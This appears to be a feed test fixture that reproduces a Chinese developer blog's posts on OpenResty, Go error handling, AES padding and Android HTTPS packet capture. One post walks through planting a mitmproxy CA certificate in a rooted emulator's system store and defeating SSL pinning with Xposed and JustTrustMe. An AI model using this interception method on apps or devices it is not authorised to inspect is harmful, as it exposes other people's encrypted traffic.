比如在描述 ngx.print 的时候,文档中提到:「This is an asynchronous call and will return immediately without waiting for all the data to be written into the system send buffer. To run in synchronous mode, call ngx.flush(true) after calling ngx.print.」,看上去很简单,无非是说 ngx.print 是异步的,不过如果你忽视了这一点,那么很可能会掉坑里:

+

我见过有人在热代码里执行 ngx.print,结果导致卡顿,究其原因,正是因为 ngx.print 是异步的,调用后直接返回,正确的做法是在适当的时候执行 ngx.flush(true)。

+

此外,在描述 ngx.say 的时候,文档中提到:「Just as ngx.print but also emit a trailing newline.」,看上去很简单,无非是说 ngx.say 比 ngx.print 多了一个新行,不过如果你忽视了这一点,那么很可能会掉坑里:

+

我见过有人输出了 Content-Length 响应头后,接着用 ngx.say 输出相应体,结果报错。究其原因,正是因为 ngx.say 多了一个新行,导致 Content-Length 不匹配。

+

类似的细节还有很多,比如:

+
    +
  • ngx.unescape_uri 解码时如果遇到非法数据会直接删除
  • +
  • ngx.req.get_uri_args、ngx.req.get_post_args,ngx.req.get_headers、ngx.resp.get_headers、ngx.decode_args,这些函数的结果都是有长度限制的,可以通过返回值 err 是否等于 truncated 来判断。
  • +
  • 如果用 lua-resty-redis 查询一个不存在的 key,那么返回的是 ngx.null,而不是 nil,这是因为 nil 在 lua 里有特殊的意义
  • +
+

如果有使用方面的问题,多留意各种官方库的测试用例,比如你想看看如果使用 redis 的 pubsub 功能的话,可以参考对应的测试用例,还有一些开源的电子书值得推荐,比如:

+ +

理论知识学习的差不多了之后,有时间的话推荐把讨论组(中文英文)里的帖子从头到尾捋一遍,常见问题里面都有介绍,举例说明 cjson 的几个问题:

+

比如除了 cjson 模块还有一个 cjson.safe,二者的区别在于前者在编码解码出错的时候会抛出异常,此时需要通过 pcall 来处理,后者在编码解码出错的时候则是返回错误,一般来说我们不太喜欢在代码里使用 pcall,所以相对而言更推荐使用 cjson.safe。

+

再比如 cjson 模块有一个encode_sparse_array 方法,直接上代码看看它的作用吧:

+
shell> resty -e '
+    local cjson = require "cjson";
+    ngx.say(cjson.encode({[11]="x"})
+)'
+
+Cannot serialise table: excessively sparse array
+
+shell> resty -e '
+    local cjson = require "cjson";
+    cjson.encode_sparse_array(true)
+    ngx.say(cjson.encode({[11]="x"})
+)'
+
+{"11":"x"}
+

再比如 openresty 版本的 cjson 有一个新方法 encode_empty_table_as_object,可以改变编码时的行为,具体点来说,空表会被编码成空的 json 对象,而不是空的 json 数组。

+

此外,火焰图值得特别关注,其又分为 On-CPU 和 Off-CPU,如何选择?

+

如果瓶颈是 CPU 则使用 On-CPU 火焰图,如果瓶颈是 IO 或锁则使用 Off-CPU 火焰图。如果无法确定,那么可以通过压测工具来判断:通过压测工具看看能否让 CPU 使用率趋于饱和,如果能那么使用 On-CPU 火焰图,如果不管怎么压,CPU 使用率始终上不来,那么多半说明程序被 IO 或锁卡住了,此时适合使用 Off-CPU 火焰图。如果还是确认不了,那么不妨 On-CPU 火焰图和 Off-CPU 火焰图都搞搞,正常情况下它们的差异会比较大,如果两张火焰图长得差不多,那么通常认为 CPU 被其它进程抢占了。

+

如果使用 On-CPU,压测工具把 CPU 压得越满结果越准确;如果使用 Off-CPU,则不必如此,毕竟在 Off-CPU 的时间段内,进程的用户态调用栈和内核调用栈都不会发生变化。

+

关于压测工具,如果使用 ab 的话,一定要记得开启 -k 选项,否则可能会遇到端口不足的问题。当然 wrk 也不错。

+

当你用 OpenResty 写项目的时候,最好站在巨人的肩膀上,多使用一些成熟的开源组件,不过需要注意有些 Lua 库可能并不兼容 OpenResty 的非堵塞特性,在你选择的时候务必留心,比如 LuaRocks 上的包,尤其是那些使用了 LuaSocket 而不是 CoSocket 的库,需要说明的是,并不是说 LuaRocks 上的包质量低下,相反,LuaRocks 上的包质量不错,只不过它的定位是整个 Lua 社区,而不是单独 OpenResty 社区,一个相对安全的选择是只在 opm 或者 awesome-resty 上找。

+

Github 上 lua-resty-* 相关的项目最好也都留意一下,特别是如下几个公司的账户:

+ +

赞扬下 upyun,作为国内技术流公司,对社区贡献良多。

+

此外,再推荐几个组织或个人的账户(排名不分先后):

+ +

如果你多看几个开源库的源代码的话,那么就会发现其中很多库都是借助 ffi 来实现的,通过它,我们不仅可以调用 c 模块,甚至可以调用 go 模块,如果想要成为高级开发者的话,必须了解 ffiluapower 上有很多不错的例子,此外有一些文章可供参考:

+ +

如上几篇文章的作者都是 spacewander,他写过不少 Openresty 方面的好东西:

+ +

很多开源项目也会分享直接开发 OpenResty 的经验,比如 APISIX

+ +

不多说了,撸起袖子干吧。

+]]>
+ + https://blog.huoding.com/2019/06/06/751/feed + 1 + + +
+ + 关于手机App的Https抓包 + https://blog.huoding.com/2019/05/31/741 + https://blog.huoding.com/2019/05/31/741#comments + + + Fri, 31 May 2019 08:14:34 +0000 + + + https://blog.huoding.com/?p=741 + + 继续阅读 ]]> + 我喜欢用 Mitmproxy 来处理手机 App 抓包之类的工作,本来用它来抓 Https 包是很容易的一件事,只要设置好代理,浏览 mitm.it 按提示安装证书即可,可是当 Android 版本升级到 7 以后,此方法就失效了,为什么呢?因为新版 Android 缺省情况下只信任系统级证书,而不再信任用户级证书,问题详细描述可以参考:听说安卓微信 7.0 不能抓 https?

+

+

普通的解决方法有很多,比如说用低版本的 Android 手机,或者干脆换个苹果手机。不过那些治标不治本的方法并不是本文关注的重点,本文我们主要聊聊如何通过 root 来解决问题,但是 root 本身是有风险的,所以下面有请重量级嘉宾网易 MuMu 闪亮登场!它是一个有 root 权限的全功能 Android 模拟器。

+
mumu

mumu

+

网易 MuMu 使用起来很简单,不过你需要注意实际抓包的时候,你需要设置模拟器的网络连接走相应的代理,设置的方法是找到对应的网络连接「长按」即可:

+
网络连接

网络连接

+

因为我是用 Mitmproxy 来抓包的,所以要安装的也是 Mitmproxy 的证书。下面看看如何把 Mitmproxy 证书安装到网易 MuMu 里,记得安装相关工具,以 Mac 操作系统为例:

+
shell> brew install mitmproxy
+shell> brew install Caskroom/cask/android-platform-tools
+

安装好工具之后,别忘了启动网易 MuMu,然后通过 android-platform-tools 中的 adb 命令来连接它,只需要简单执行「adb shell」即可,如果遇到连不上的情况,可以参考文档。连接成功后,你可以在「/system/etc/security/cacerts/」目录看到现有的系统级证书:

+
证书

证书

+

换句话说,我们只要把 Mitmproxy 证书安装到这里即可。不过这些证书的文件名都是啥意思,实际上他们就是证书文件的散列值,那 Mitmproxy 证书在哪?如何计算它的散列值?其实当我们安装好 Mitmproxy 的时候,相应的证书就已经保存在「~/.mitmproxy」目录里了,其中 mitmproxy-ca-cert.p12 证书是 windows 环境用的,剩下的 mitmproxy-ca-cert.cer 和 mitmproxy-ca-cert.pem 是用在非 windows 环境,它俩的文件内容一样,只是扩展名不同,方便一些设备识别,详见官方文档。下面看看如何计算证书的散列值:

+
shell> openssl x509 \
+    -subject_hash_old \
+    -inform PEM \
+    -in ~/.mitmproxy/mitmproxy-ca-cert.pem | head -1
+
+c8750f0d
+

接下来我们把 Mitmproxy 证书推送到模拟器系统证书所在目录:

+
shell> adb push \
+    ~/.mitmproxy/mitmproxy-ca-cert.pem \
+    /system/etc/security/cacerts/c8750f0d.0
+

最后在模拟器「设置 / 安全 / 信任的凭据 / 系统」里就能看到 Mitmproxy 证书了:

+
系统证书

系统证书

+

BTW:如果你使用 Fiddler 来抓包的话,那么因为它的证书 FiddlerRoot.cer (可以从如下路径获取:Tools/Options/HTTPS/Actions/Export Root Certificate to Desktop)是 DER 格式的,所以你需要先把它转换成 PEM 格式:

+
shell> openssl x509 -inform DER -in FiddlerRoot.cer > FiddlerRoot.pem
+

通过 root 安装系统证书可以解决大部分 Https 抓包问题,为什么不是全部?还有哪些特殊情况不能处理?答案是「SSL Pinning」,它是为了应对中间人攻击而出现的一种技术,简单点说,就是证书被打包到 App 里,每次请求都会验证证书一致性。如此一来,虽然我们可以安装系统级证书,但是当 App 验证证书一致性的时候就失败了,如何突破此限制呢?答案很简单,你不是要验证一致性么,我统统返回 OK 不就行了!

+

为了达到 hack 的目的,我们需要安装 XposedJustTrustMe,其中 Xposed 是一个 hack 框架,JustTrustMe 是一个插件。安装过程并不复杂,唯一需要说明的是,在安装 Xposed 之前,最好在网易 MuMu 中关闭兼容模式,路径「设置 / 应用兼容性 / 兼容模式」。

+

BTW:有一个 VirtualXposed 项目,无需 root,使用起来更简单,值得关注。

+
Xposed

Xposed

+
JustTrustMe

JustTrustMe

+

如果你认认真真从头看到尾,那么恭喜你,关于手机 App 的 Https 抓包,你已经是专家了,最后你摸着自己的良心扪心自问一下:是不是应该给作者一个大大的红包!

+]]>
+ + https://blog.huoding.com/2019/05/31/741/feed + 1 + + +
+ + 聊聊AES + https://blog.huoding.com/2019/05/06/739 + https://blog.huoding.com/2019/05/06/739#respond + + + Mon, 06 May 2019 08:58:15 +0000 + + https://blog.huoding.com/?p=739 + + 继续阅读 ]]> + 说起加密,通常分为对称加密和非对称加密,所谓对称加密中的对称,指的是加密和解密使用的是同一个密钥,如此说来什么是非对称就不用我多做解释了。对称加密相对于非对称加密而言,优点是速度快,缺点是安全性相对低一点,不过只要能保证密钥不泄露,其安全性还是有保证的,所以在实际项目中,对称加密的使用非常广泛。

+

+

目前最流行的对称加密标准是 AES。需要说明的是:AES 是一个标准,而不是一个算法,实际上背后的算法是 Rijndael,二者很容易混淆,比如很多人会搞不清楚 AES256 和 Rijndael256 有什么不同,甚至会认为是一个东西。其实 AES256 中的 256 指的是密钥的长度是 256 位,而 Rijndael256 中的 256 指的是分组大小是 256 位,更进一步说明的话,因为 AES 的分组大小是固定的 128 位,所以我们可以认为 AES256 等同于密钥长度是 256 位的 Rijndael128,听着有点绕,推荐阅读「AES 简介」:

+
AES

AES

+

了解了 AES 密钥之后,再说一下填充的概念。引用「漫画解读:什么是AES算法」中的描述:在对明文加密的时候,并不是把整个明文一股脑加密成一整段密文,而是把明文拆分成一个个等长的明文块,这些明文块经过加密器的复杂处理,生成一个个独立的密文块,再把这些密文块拼接在一起,就是最终的加密结果。但是这里涉及到一个问题:假如一段明文长度是 192 位,如果按每128 位一个明文块来拆分的话,那么最后一个明文块只有 64 位,不足128 位,此时就需要填充,那为了补齐 128 位而额外填充的 64 位数据具体是什么内容呢,答案就是字节长度: 64 位换算成字节就是 8 字节,所以额外填充的 8 字节的具体内容都是 0x08。再说一个例子,如果明文长度是 128 位,按每 128 位一个明文块来拆分的话,恰好是一个完整的块,此时还需要填充么?答案是需要,仍然需要填充一个完整块的长度!为什么呢?因为加密前要填充,解密后要去掉填充,如果没有填充,假设解密后最后一个字节恰好是 0x01,那么不方便判断这个 0x01 是实际的数据还是之前填充的数据。实际使用中有很多填充标准,其中最常见的是 PKCS#5 和 PKCS#7,它们的主要区别在于块大小的定义上: PKCS#5 中的块特指长度是 64 位(也就是 8 字节),而 PKCS#7 中的块没有特指某个长度,一般是 128 位(也就是 16 字节),可以说 PKCS#5 是 PKCS#7 的一个特例。

+

了解了 AES 密钥和填充两个概念后,还需要了解一下模式的概念,不过鉴于实际使用 AES 的时候,多数时候采用的都是 CBC 模式,本文就不详细展开讨论此概念了,但是需要说明的是 CBC 模式中有一个 iv (初始化向量)的概念,乍一看上去它好像是另一个密钥,实际上它并不是 Key,可以把它理解成我们使用 md5 时的 salt,通过对不同的数据使用不同的 salt,可以避免遭遇彩虹表撞库之类的暴力破解,iv 的作用亦如此,重要的是保证其随机性,你可能担心如果 iv 是随机的,那么加密方不是要把 iv 传递给解密方才能正常解密么?是的,需要传递 iv,但这不是问题,切记 iv 不是 Key,可以被别人看到,重要的是保证其随机性,从而保证同一份数据多次加密得到的结果并不相同,更多说明参考:Why can’t the IV be predictable when its said it doesn’t need to be a secret?

+

BTW:在腾讯微信公众平台加解密方案中,iv 使用的是 Key 的前 16 位,是一个固定值,从 iv 的本意来看,这并不是一个好的选择,因为它没有保证随机性。

+

下面我通过一个例子来加深一下大家学习的印象:OpenSSL 缺省会执行填充,那么它执行的是 PKCS#5 还是 PKCS#7 呢?我们不妨做个试验来验证一下:

+
shell> echo -n a \
+    | openssl enc -e \
+        -aes-256-cbc \
+        -K 3132333435363738313233343536373831323334353637383132333435363738 \
+        -iv 31323334353637383132333435363738 \
+    | openssl enc -d \
+        -aes-256-cbc \
+        -K 3132333435363738313233343536373831323334353637383132333435363738 \
+        -iv 31323334353637383132333435363738 \
+        -nopad \
+    | xxd
+
+00000000: 610f 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f  a...............
+

通过把数据填充加密后但是在解密的时候不去掉填充(nopad),这样数填充了多少个字节就能确定答案,如上明文数据是「a」(0x61),填充数据是 15 个 0x0f,所以我们可知块大小是 16 个字节(不是 8 个字节,所以不是 PKCS#5),所以是 PKCS#7。

+

最后需要说明的是,上面那些一大长串的东西是什么玩意?实际上这是因为 OpenSSL 在命令行上使用时,K 和 iv 传递的都是十六进制的字符串:

+
shell> echo -n 12345678123456781234567812345678 | xxd -p
+3132333435363738313233343536373831323334353637383132333435363738
+
+shell> echo -n 1234567812345678 | xxd -p
+31323334353637383132333435363738
+

也就是说,真正的 K 是「12345678123456781234567812345678」,32 个字节,也就是 256 位;真正的 iv 是「1234567812345678」,16 个字节,也就是 128 位,均符合 AES256 的标准要求。怎么样,看完本文,你理解了 AES 没有?

+]]>
+ + https://blog.huoding.com/2019/05/06/739/feed + 0 + + +
+ + Golang之Context的迷思 + https://blog.huoding.com/2019/04/15/730 + https://blog.huoding.com/2019/04/15/730#respond + + + Mon, 15 Apr 2019 01:49:48 +0000 + + + http://huoding.com/?p=730 + + 继续阅读 ]]> + 对我而言,Golang 中的 Context 一直是一样的存在,如果你还不了解它,建议阅读「快速掌握 Golang context 包,简单示例」,本文主要讨论一些我曾经的疑问。

+

+

Context 到底是干什么的?

+

如果你从没接触过 Golang,那么按其它编程语言的经验来推测,多半会认为 Context 是用来读写一些请求级别的公共数据的,事实上 Context 也确实拥有这样的功能,我曾写过一篇文章「在Golang的HTTP请求中共享数据」描述相关用法:

+
    +
  • Value(key interface{}) interface{}
  • +
  • WithValue(parent Context, key, val interface{}) Context
  • +
+

不过除此之外,Context 还有一个功能是控制 goroutine 的退出:

+
    +
  • func WithCancel(parent Context) (ctx Context, cancel CancelFunc)
  • +
  • func WithDeadline(parent Context, d time.Time) (Context, CancelFunc)
  • +
  • func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc)
  • +
+

把两个毫不相干的功能合并在同一个包里,无疑增加了使用者的困扰,Dave Cheney 曾经吐槽:「Context isn’t for cancellation」,按他的观点:Context 只应该用来读写一些请求级别的公共数据,而不应该用来控制 goroutine 的退出,况且用 Context 来控制 goroutine 的退出,在功能上并不完整(没有确认机制),原文:

+

Context‘s most important facility, broadcasting a cancellation signal, is incomplete as there is no way to wait for the signal to be acknowledged.

+

此外,Michal Štrba 的观点更为尖锐:「Context should go away for Go 2」,用 Context 来读写一些请求级别的公共数据,本身就是一种拙劣的设计;而用 Context 来控制 goroutine 退出亦如此,正确的做法应该是在语言层面解决,不过关于这一点,只能寄希望于 Golang 2.0 能有所作为了。

+

从目前社区的使用主流情况来看,基本上不推荐用 Context 来读写一些请求级别的公共数据,主要还是使用 Context 控制 goroutine 的退出

+

Context 一定是第一个参数么?

+

如果你用 Context 写过程序,那么多半看过文档上建议不要在 struct 里保存 Context,而应该显式的传递方法,并且作为方法的第一个参数:

+

Do not store Contexts inside a struct type; instead, pass a Context explicitly to each function that needs it. The Context should be the first parameter.

+

可是我们偏偏在标准库里就能看到一个反例 http.Request

+
type Request struct {
+	// ...
+
+	// ctx is either the client or server context. It should only
+	// be modified via copying the whole Request using WithContext.
+	// It is unexported to prevent people from using Context wrong
+	// and mutating the contexts held by callers of the same request.
+	ctx context.Context
+}
+

一边说不要把 Context 放到 struct 里,另一方面却偏偏这么干,是不是自相矛盾?实际上,这是文档描述问题,按照惯用法,Context 应该作为方法的第一个参数,但是如果 struct 类型本身就是方法的参数的话,那么把 Context 放到 struct 里并无不妥之处,http.Request 就属于此类情况,关键在于只是传递 Context 不是存储 Context。

+

顺便说一句,把 Context 作为方法的第一个参数真是丑爆了!引用「Context should go away for Go 2」的话来说:「Context is like a virus」,你如果不相信可以看看标准库 database/sql 的 API 设计,我保证你想死的心都有了。

+

Context 控制 goroutine 的退出有什么好处?

+

我们知道 Context 是在 Golang 1.7 才成为标准库的,那么在此之前,人们是如何控制 goroutine 退出呢?下面举例看看如何退出多个 goroutines:

+
package main
+
+import (
+	"fmt"
+	"sync"
+)
+
+func main() {
+	var wg sync.WaitGroup
+
+	do := make(chan int)
+	done := make(chan int)
+
+	for i := 0; i < 10; i++ {
+		wg.Add(1)
+
+		go func(i int) {
+			defer wg.Done()
+
+			select {
+			case <-do:
+				fmt.Printf("Work: %d\n", i)
+			case <-done:
+				fmt.Printf("Quit: %d\n", i)
+			}
+		}(i)
+	}
+
+	close(done)
+
+	wg.Wait()
+}
+
+

注意代码里的 done,它用来关闭 goroutines,实际使用非常简单,只要调用 close 即可,所有的 goroutines 都会收到关闭的消息。是不是很简单,如此说来,那为什么还要用 Context 控制 goroutine 的退出呢,它有什么特别的好处?实际上这是因为 Context 实现了继承,可以完成更复杂的操作,虽然我们自己编码也能实现,但是通过使用 Context,可以让代码更标准化一些,下面引用「如何正确使用 Context – Jack Lindamood」中的例子来说明一下:

+
type userID string
+
+func tree() {
+	ctx1 := context.Background()
+	ctx2, _ := context.WithCancel(ctx1)
+	ctx3, _ := context.WithTimeout(ctx2, time.Second*5)
+	ctx4, _ := context.WithTimeout(ctx3, time.Second*3)
+	ctx5, _ := context.WithTimeout(ctx3, time.Second*6)
+	ctx6 := context.WithValue(ctx5, userID("UserID"), 123)
+
+	// ...
+}
+

如此构造了 Context 继承链:

+

+

当 3s 超时后,ctx4 会被触发:

+

+

当 5s 超时后,ctx3 会被触发,不急如此,其子节点 ctx5 和 ctx6 也会被触发,即便 ctx5 本身的超时时间还没到,但因为它的父节点已经被触发了,所以它也会被触发:

+

+

总体来说,Context 是一个实战派的产物,虽然谈不上优雅,但是它已经是社区里的事实标准。实际使用中,任何有可能「慢」的方法都应该考虑通过 Context 实现退出机制,以避免因为无法退出导致泄露问题,对于服务端编程而言,通常意味着你很多方法的第一个参数都会是 Context,虽然丑爆了,但在出现更好的解决方案之前,忍着!

+]]>
+ + https://blog.huoding.com/2019/04/15/730/feed + 0 + + +
+ + 如何优化Golang中重复的错误处理 + https://blog.huoding.com/2019/04/11/728 + https://blog.huoding.com/2019/04/11/728#comments + + + Thu, 11 Apr 2019 02:11:38 +0000 + + + http://huoding.com/?p=728 + + 继续阅读 ]]> + Golang 错误处理最让人头疼的问题就是代码里充斥着「if err != nil」,它们破坏了代码的可读性,本文收集了几个例子,让大家明白如何优化此类问题。

+

+

让我们看看 Errors are values 中提到的一个 io.Writer 例子:

+
_, err = fd.Write(p0[a:b])
+if err != nil {
+    return err
+}
+_, err = fd.Write(p1[c:d])
+if err != nil {
+    return err
+}
+_, err = fd.Write(p2[e:f])
+if err != nil {
+    return err
+}
+

如上代码乍一看无法直观的看出其本来的意图是什么,改进版:

+
type errWriter struct {
+	w   io.Writer
+	err error
+}
+
+func (ew *errWriter) write(buf []byte) {
+	if ew.err != nil {
+		return
+	}
+	_, ew.err = ew.w.Write(buf)
+}
+
+ew := &errWriter{w: fd}
+ew.write(p0[a:b])
+ew.write(p1[c:d])
+ew.write(p2[e:f])
+if ew.err != nil {
+    return ew.err
+}
+

通过自定义类型 errWriter 来封装 io.Writer,并且封装了 error,新类型有一个 write 方法,不过其方法签名并没有返回 error,而是在方法内部判断一旦有问题就立刻返回,有了这些准备工作,我们就可以把原本穿插在业务逻辑中间的错误判断提出来放到最后来统一调用,从而在视觉上保证让人可以直观的看出代码本来的意图是什么。

+

让我们再看看 Eliminate error handling by eliminating errors 中提到的另一个 io.Writer 例子:

+
type Header struct {
+	Key, Value string
+}
+
+type Status struct {
+	Code   int
+	Reason string
+}
+
+func WriteResponse(w io.Writer, st Status, headers []Header, body io.Reader) error {
+	_, err := fmt.Fprintf(w, "HTTP/1.1 %d %s\r\n", st.Code, st.Reason)
+	if err != nil {
+		return err
+	}
+
+	for _, h := range headers {
+		_, err := fmt.Fprintf(w, "%s: %s\r\n", h.Key, h.Value)
+		if err != nil {
+			return err
+		}
+	}
+
+	if _, err := fmt.Fprint(w, "\r\n"); err != nil {
+		return err
+	}
+
+	_, err = io.Copy(w, body)
+	return err
+}
+

第一感觉既然错误是 fmt.Fprint 和 io.Copy 返回的,是不是我们要重新封装一下它们?实际上真正的源头是它们的参数 io.Writer,因为直接调用 io.Writer 的 Writer 方法的话,方法签名中有返回值 error,所以每一步 fmt.Fprint 和 io.Copy 操作都不得不进行重复的错误处理,看上去是坏味道,改进版:

+
type errWriter struct {
+	io.Writer
+	err error
+}
+
+func (e *errWriter) Write(buf []byte) (int, error) {
+	if e.err != nil {
+		return 0, e.err
+	}
+
+	var n int
+	n, e.err = e.Writer.Write(buf)
+	return n, nil
+}
+
+func WriteResponse(w io.Writer, st Status, headers []Header, body io.Reader) error {
+	ew := &errWriter{Writer: w}
+	fmt.Fprintf(ew, "HTTP/1.1 %d %s\r\n", st.Code, st.Reason)
+
+	for _, h := range headers {
+		fmt.Fprintf(ew, "%s: %s\r\n", h.Key, h.Value)
+	}
+
+	fmt.Fprint(ew, "\r\n")
+	io.Copy(ew, body)
+
+	return ew.err
+}
+

通过自定义类型 errWriter 来封装 io.Writer,并且封装了 error,同时重写了 Writer 方法,虽然方法签名中仍然有返回值 error,但是我们单独保存了一份 error,并且在方法内部判断一旦有问题就立刻返回,有了这些准备工作,新版的 WriteResponse 不再有重复的错误判断,只需要在最后检查一下 error 即可。

+

类似的做法在 Golang 标准库中屡见不鲜,让我们继续看看 Eliminate error handling by eliminating errors 中提到的一个关于 bufio.Reader 和 bufio.Scanner 的例子:

+
func CountLines(r io.Reader) (int, error) {
+	var (
+		br    = bufio.NewReader(r)
+		lines int
+		err   error
+	)
+
+	for {
+		_, err = br.ReadString('\n')
+		lines++
+		if err != nil {
+			break
+		}
+	}
+
+	if err != io.EOF {
+		return 0, err
+	}
+
+	return lines, nil
+}
+

我们构造一个 bufio.Reader,然后在一个循环中调用 ReadString 方法,如果读到文件结尾,那么 ReadString 会返回一个错误(io.EOF),为了判断此类情况,我们不得不在每次循环时判断「if err != nil」,看上去这是坏味道,改进版:

+
func CountLines(r io.Reader) (int, error) {
+	sc := bufio.NewScanner(r)
+	lines := 0
+
+	for sc.Scan() {
+		lines++
+	}
+
+	return lines, sc.Err()
+}
+

实际上,和 bufio.Reader 相比,bufio.Scanner 是一个更高阶的类型,换句话简单点来说的话,相当于是 bufio.Scanner 抽象了 bufio.Reader,通过把低阶的 bufio.Reader 换成高阶的 bufio.Scanner,循环中不再需要判断「if err != nil」,因为 Scan 方法签名不再返回 error,而是返回 bool,当在循环里读到了文件结尾的时候,循环直接结束,如此一来,我们就可以统一在最后调用 Err 方法来判断成功还是失败,看看 Scanner 的定义:

+
type Scanner struct {
+	r            io.Reader // The reader provided by the client.
+	split        SplitFunc // The function to split the tokens.
+	maxTokenSize int       // Maximum size of a token; modified by tests.
+	token        []byte    // Last token returned by split.
+	buf          []byte    // Buffer used as argument to split.
+	start        int       // First non-processed byte in buf.
+	end          int       // End of data in buf.
+	err          error     // Sticky error.
+	empties      int       // Count of successive empty tokens.
+	scanCalled   bool      // Scan has been called; buffer is in use.
+	done         bool      // Scan has finished.
+}
+

可见 Scanner 封装了 io.Reader,并且封装了 error,和我们之前讨论的做法一致。有一点说明一下,实际上查看 Scan 源代码的话,你会发现它不是通过 err 来判断是否结束的,而是通过 done 来判断是否结束,这是因为 Scan 只有遇到文件结束的错误才退出,其它错误会继续执行,当然,这只是具体的细节问题,不影响我们的结论。

+

通过对以上几个例子的分析,我们可以得出优化重复错误处理的大概套路:通过创建新的类型来封装原本干脏活累活的旧类型,同时在新类型中封装 error,新旧类型的方法签名可以保持兼容,也可以不兼容,这个不是关键的,视客观情况而定,至于具体的逻辑实现,先判断有没有 error,如果有就直接退出,如果没有就继续执行,并且在执行过程中保存可能出现的 error 以便后面操作使用,最后通过统一调用新类型的 error 来完成错误处理。提醒一下,此方案的缺点是要到最后才能知道有没有错误,好在如此的控制粒度在多数时候并无大碍。

+]]>
+ + https://blog.huoding.com/2019/04/11/728/feed + 4 + + +
+ + To panic or not to panic + https://blog.huoding.com/2019/03/27/725 + https://blog.huoding.com/2019/03/27/725#comments + + + Wed, 27 Mar 2019 02:40:54 +0000 + + + http://huoding.com/?p=725 + + 继续阅读 ]]> + 大家都知道 Golang 推荐的错误处理的方式是使用 error,这主要得益于 Golang 方法可以返回多个值,我们可以很自然的用最后一个值来表示是否有错误,这一点是其它很多编程语言所不具备的,不过这多少让那些习惯了 exception 的程序员无所适从,虽然 Golang 没有 exception,但是实际上可以通过 panic/recover 来模拟出类似的效果,于是很多 Gopher 在错误处理的时候开始倾向于直接 panic。

+

+

为什么会有人喜欢使用 panic 来处理错误呢?我们以流行框架 Gin 为例来说明:

+
package main
+
+import (
+	"errors"
+	"log"
+	"net/http"
+
+	"github.com/gin-gonic/gin"
+)
+
+func recovery() gin.HandlerFunc {
+	return func(c *gin.Context) {
+		c.Next()
+
+		if err := c.Errors.Last(); err != nil {
+			c.String(http.StatusInternalServerError, err.Error())
+		}
+	}
+}
+
+func main() {
+	r := gin.Default()
+	r.Use(recovery())
+
+	r.GET("/", func(c *gin.Context) {
+		if c.Query("foo") != "" {
+			err := errors.New("foo error")
+
+			c.Error(err)
+			return
+		}
+
+		if c.Query("bar") != "" {
+			err := errors.New("bar error")
+
+			c.Error(err)
+			return
+		}
+
+		c.String(http.StatusOK, "test")
+	})
+
+	r.Run(":8080")
+}
+

在 Gin 的用法中,当出错的时候,应该先调用 c.Error 方法来设置 error,如果是在中间件里,那么应该调用 c.AbortWithError 方法,最后还要记得调用 return 返回,后续可以在中间件中通过判断 c.Errors 来决定如何渲染状态码和错误信息。很多人会觉得先 c.Error 再 return 的操作太麻烦,于是就出现了直接 panic 的做法:

+
package main
+
+import (
+	"fmt"
+	"net/http"
+
+	"github.com/gin-gonic/gin"
+)
+
+func recovery() gin.HandlerFunc {
+	return func(c *gin.Context) {
+		defer func() {
+			if err := recover(); err != nil {
+				c.String(http.StatusInternalServerError, fmt.Sprint(err))
+			}
+		}()
+
+		c.Next()
+	}
+}
+
+func main() {
+	r := gin.Default()
+	r.Use(recovery())
+
+	r.GET("/", func(c *gin.Context) {
+		if c.Query("foo") != "" {
+			panic("foo error")
+		}
+
+		if c.Query("bar") != "" {
+			panic("bar error")
+		}
+
+		c.String(http.StatusOK, "test")
+	})
+
+	r.Run(":8080")
+}
+
+

也就是说,当出错的时候,直接 panic 抛出异常,然后在中间件里通过 recover 里捕获异常,进而决定如何渲染错误信息,业务逻辑代码会更简洁明了。

+

如此说来,在 Golang 错误处理的时候,到底是应该使用 error 还是 panic 呢?之所有会有这样的疑问,很大程度上是因为我们混淆了错误和异常的区别:一个例子,当操作一个文件但是文件却不存在的时候,应该使用 error 而不是 panic,因为文件不存在可能在很多情况下新建一个就可以了,此时有药可救;另一个例子,当除数是零的时候,应该使用 panic 而不是 error,因为除数为零在数学上无意义,此时无药可救。

+

顺着这个思路,比如说在一个 MVC 架构的 Web 应用里,如果我们想在 controller 里报错,那么最终一般是展示一个定制化的错误页面,此时看上去属于无药可救的范畴,如此说来即便使用 panic 似乎也无可厚非,不过如果是在 model 之类可复用的组件中报错的话,除非真的真的无药可救,否则应该尽可能使用 error,毕竟你不可能指望别人在复用组件的时候还搭配着 recover 兜底。

+

此外,一旦在错误处理的时候滥用 panic,那么很可能会导致你忽略真正的 panic,比如当你的 Web 应用存在一个偶发崩溃问题的时候,而你却只是使用 panic/recover 渲染了一个错误页面,那么你很可能就错失这个问题了,当然,你可以在 recover 里记录日志信息,不过当你滥用 panic 的时候,即便记录日志信息,也会存在很多噪音,结局你很可能依然会错失真正有用的信息。问题的症结就在于混淆了错误和异常。

+

实际上,针对此类问题,Gin 作者有过相关的论述:Abort vs panic,Golang 官方博客中的文章也值得多读几遍:Error handling and GoErrors are values

+

综上所述,我们推荐 error 为主,panic 为辅。如果一定要 panic,最好是在 init 的时候 panic,毕竟一运行就看到挂掉比较容易发现并处理,对待 panic,务必要克制,它就像罂粟花,看似绚烂多彩,却隐藏着罪恶的果实,合理使用的话,有其自身价值,但千万别上瘾。

+]]>
+ + https://blog.huoding.com/2019/03/27/725/feed + 1 + + +
+
+
diff --git a/tests/feedlib/testdata/parser/warn/https-blogs-vmware-com-wprss.xml b/tests/feedlib/testdata/parser/warn/https-blogs-vmware-com-wprss.xml new file mode 100644 index 0000000..8089bd7 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-blogs-vmware-com-wprss.xml @@ -0,0 +1,498 @@ + + + + Latest imported feed items on VMware Blogs + + https://blogs.vmware.com + + + + <![CDATA[VMware vSphere 7 Editions]]> + https://blogs.virtualmaestro.in/2020/04/vmware-vsphere-7-editions.html + https://blogs.virtualmaestro.in/2020/04/vmware-vsphere-7-editions.html + Mon, 06 Apr 2020 12:09:00 -0700 + With recent release of VMware vSphere version 7.0, we have lots of new features like Identity federation with ADFS, vSphere trust authority and so on.   

This post is to provide the information on how to access details about vSphere editions, ROBO Editions and Essential kits and their features respectively. 

For your virtual infrastructure and cloud platform.
  • Standard: 
Server Consolidation and Business Continuity
  • Enterprise Plus: 
Resource Management, Simplified Lifecycle Management, Intrinsic Security, Resiliency and Performance for Enhanced Applications
  • VMware Cloud Foundation:
Run Modern Applications on vSphere 7 with Kubernetes

For more details on comparisons, check below link.

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/vsphere/vmw-flyr-comparevsphereeditions-uslet.pdf

